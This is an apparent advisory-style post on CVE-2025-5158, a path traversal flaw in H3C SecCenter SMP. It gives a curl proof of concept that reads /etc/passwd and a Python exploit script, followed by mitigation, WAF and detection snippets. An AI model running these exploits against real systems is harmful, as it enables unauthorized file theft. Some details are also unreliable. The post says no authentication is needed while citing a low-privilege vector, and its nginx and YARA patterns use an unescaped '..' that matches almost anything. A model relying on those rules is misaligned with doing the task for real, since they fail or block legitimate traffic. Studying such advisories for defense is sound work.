How CVE-2025-5158 Works
The vulnerability in H3C SecCenter SMP (up to version E1114P02) stems from improper input validation in the `downloadSoftware` function within /cfgFile/downloadSoftware. By manipulating the `filename` parameter, an attacker can perform path traversal (../) attacks to access arbitrary files outside the intended directory. This remote exploitation allows unauthorized file reads without authentication, potentially exposing sensitive system files or configuration data. The CVSS 4.0 vector (AV:N/AC:L/PR:L/UI:N) confirms network-based exploitation with low attack complexity.
DailyCVE Form
Platform: H3C SecCenter SMP
Version: E1114P02
Vulnerability: Path Traversal
Severity: Medium
Date: 2025-05-25
Prediction: Patch by 2025-07-15
What Undercode Say:
Exploitation
1. Curl PoC:
curl -X GET "http://target/cfgFile/downloadSoftware?filename=../../../../etc/passwd"
2. Python Exploit:
import requests
target = "http://victim-ip/cfgFile/downloadSoftware"
payload = {"filename": "../../../confidential.txt"}
response = requests.get(target, params=payload)
print(response.text)
Mitigation
1. Input Sanitization:
$filename = basename($_GET['filename']); // Strip path traversal chars
2. Nginx Rule:
location /cfgFile/ {
if ($args ~ "..") { return 403; }
}
3. WAF Rule:
mod_security rule: SecRule ARGS "@contains ../" "id:1001,deny"
Detection
1. Log Analysis:
grep "downloadSoftware..." /var/log/nginx/access.log
2. YARA Rule:
rule path_traversal {
strings: $ = "/cfgFile/downloadSoftware?filename="
$ = /..\//
condition: all of them
}
Post-Exploitation
- Exfiltrated Data: Check `/var/log/syslog` for unusual file access patterns.
